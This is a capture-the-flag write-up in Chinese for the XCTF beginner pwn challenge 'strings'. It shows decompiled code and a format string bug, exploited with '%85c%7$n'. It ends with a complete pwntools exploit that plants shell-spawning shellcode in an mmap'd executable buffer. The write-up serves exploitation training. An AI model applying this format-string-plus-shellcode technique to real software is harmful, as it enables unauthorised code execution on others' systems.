『攻防世界』:新手区 | strings
checksec:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
IDA:
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { _DWORD *v3; // rax _DWORD *v4; // ST18_8 setbuf(stdout, 0LL); alarm(0x3Cu); sub_400996(60LL, 0LL); v3 = malloc(8uLL); v4 = v3; *v3 = 68; v3[1] = 85; puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ..."); puts("we will tell you two secret ..."); printf("secret[0] is %x\n", v4, a2); printf("secret[1] is %x\n", v4 + 1); puts("do not tell anyone "); sub_400D72(v4); puts("The End.....Really?"); return 0LL; }
sub_400CA76
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
sub_400BB9使用"%85c%7$n"
格式化字符串漏洞
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf("%ld", &v2); puts("And, you wish is:"); _isoc99_scanf("%s", &format); puts("Your wish is"); printf(&format, &format); puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
sub_400CA6函数可以将shellcode写入v1:
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
exp:
from pwn import *
io = process("./strings")
io.recvuntil("secret[0] is ")
v3_addr = int(io.recvuntil("\n")[:-1], 16) #接受v3的地址
io.recvuntil("character's name be:")
io.sendline("aaaa")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
shellcode=asm(shellcraft.amd64.linux.sh())
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
注:mmap是分配出一段可读可写可执行的内存